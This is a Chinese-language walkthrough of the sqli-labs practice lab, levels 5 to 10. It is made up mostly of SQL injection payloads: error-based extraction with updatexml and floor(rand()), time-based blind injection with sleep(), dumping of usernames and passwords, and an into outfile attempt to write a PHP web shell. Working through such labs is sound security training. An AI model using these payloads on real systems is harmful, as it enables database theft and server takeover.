Sqli-labs(5-10)闯关
Sqli-labs(5)
同前四关一样先?id=1
?id=1结果报错
这一关感觉是很像第一关，来用order by 和 union语句来试试，可以知道有几列，但是不回显，看来这个没啥卵用了。。。。
Sqli-labs(5)这一关怎么尝试都是You are in…没有1-4关的那样回显。
看来另寻出路了
我们尝试用updatexml函数，看获取到数据库名
?id=0' and updatexml(1,concat(0x7C,(select database())),1)--+
已经猜解到数据库名，接下来猜解表名，其中users表我们感兴趣。
?id=0' and updatexml(1,concat(0x7C,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+
进行猜解user表的列名，其中username和password是我们想要的哦豁！碰上问题了
原来updatexml对输出长度有限制32位
?id=0' and updatexml(1,concat(0x7C,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+
也能返回数据但是长度有限制
?id=0' and updatexml(1,concat(0x7C,(select group_concat(username,'|',password) from users)),1)--+
extractvalue()函数也是和上边的updatexml函数一样都是32位。
接下来使用另一种操作
floor函数
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select database()))a from information_schema.tables group by a)b--+
通过以上语句得到数据库名而前边那个1是随机产生的没有影响。
使用limit语句来一个个截取行输出
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(database(),'=',version()) limit 0,1))a from information_schema.tables group by a)b--+
下面一个个试来获取表。
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(table_name,'|') from information_schema.tables where table_schema=database() limit 3,1))a from information_schema.tables group by a)b--+
下面获取列名
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(column_name,'|') from information_schema.columns where table_name='users' limit 2,1))a from information_schema.tables group by a)b--+
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(column_name,'|') from information_schema.columns where table_name='users' limit 26,1))a from information_schema.tables group by a)b--+
获取到字段名
?id=0' UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(username,'|',password) from users limit 0,1))a from information_schema.tables group by a)b--+
sqli-labs(6)
第六关这里就是与上一关闭合引号不同，由单引号换成双引号。
?id=0" UNION SELECT 1,2,3 from ( select count(*),concat(floor(rand(0)*2),(select concat(username,'|',password) from users limit 0,1))a from information_schema.tables group by a)b
Sqli-labs(7)
这一关挺稀奇的是outfile，我们知道load_file函数读文件的操作，into outfile函数就应该是写文件的操作了。
?id=1探测，出来outfile
来试试闭合，单引号报错，双引号报错，单引括号报错，括号正常，双引号括号正常显示。
?id=1'
?id=1"
?id=')
?id=")
?id=)
我们先试试括号闭合上传一句话
?id=-1")) UNION SELECT 1,"<?php @eval(['shell'])?>",3 into outfile "//var//www//html//sqli//Less-7//shell.php"--+
唉！怎么试我的都没有上传成功。
Sqli-labs(8)
尝试使用各种闭合。
?id=1
?id=1'
?id=1"
?id=1')
?id=1")
除了?id=1’不显示，其他闭合方式都显示。
?id=1' UNION SELECT 1,"shell'])?>",3 into outfile "//var//www//html//sqli//Less-7//shell.php"--+
Sqli-labs(9)
第九关是时间盲注。
尝试单引号闭合，用时四毫秒
使用时间盲注语句
?id=1' and sleep(4)--+
可以看到慢了很多，四秒后打开页面，这样判断出存在字符型时间sql注入。
?id=1' and if(length(database())=1,sleep(4),1)--+
没有感觉延时。
?id=1' and if(length(database())=5,sleep(4),1)--+
?id=1' and if(length(database())=8,sleep(4),1)--+
这里注意有很大的延时，说明该数据库长度为8个字符。
丢下ASCII码表
接下来使用二分法猜解数据库名。
?id=1' and if(ascii(substr(database(),1,1))>97,sleep(4),1)--+ #有明显延时
?id=1' and if(ascii(substr(database(),1,1))>123,sleep(4),1)--+ #有明显延时，说明数据库名第一个字母在a-z字母之间。
说明此数据库首字母为s
往下依此类推猜解到完整的数据库名，security。
?id=1' and if(ascii(substr(database(),2,1))>97,sleep(4),1)--+
猜解表名，先获取有多少个表
?id=1' and if((SELECT count(table_name) from information_schema.tables where table_schema=database())=1,sleep(4),1)--+ #没有延时
?id=1' and if((SELECT count(table_name) from information_schema.tables where table_schema=database())=4,sleep(4),1)--+ #存在延时，说明表中有四个表
我们想要users第二个表，有五个字段
?id=1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2))=5,sleep(4),1)--+
二分法猜表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(4),1)--+ #猜解出第二个表首字母为u
往下继续猜解猜解到users表，列名，字段名，这里就不往下试了。
Sqli-labs(10)
这一关与第九关相比只是闭合方式不同，这里成了双引号闭合。
?id=1" and sleep(4)--+
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(4),1)--+
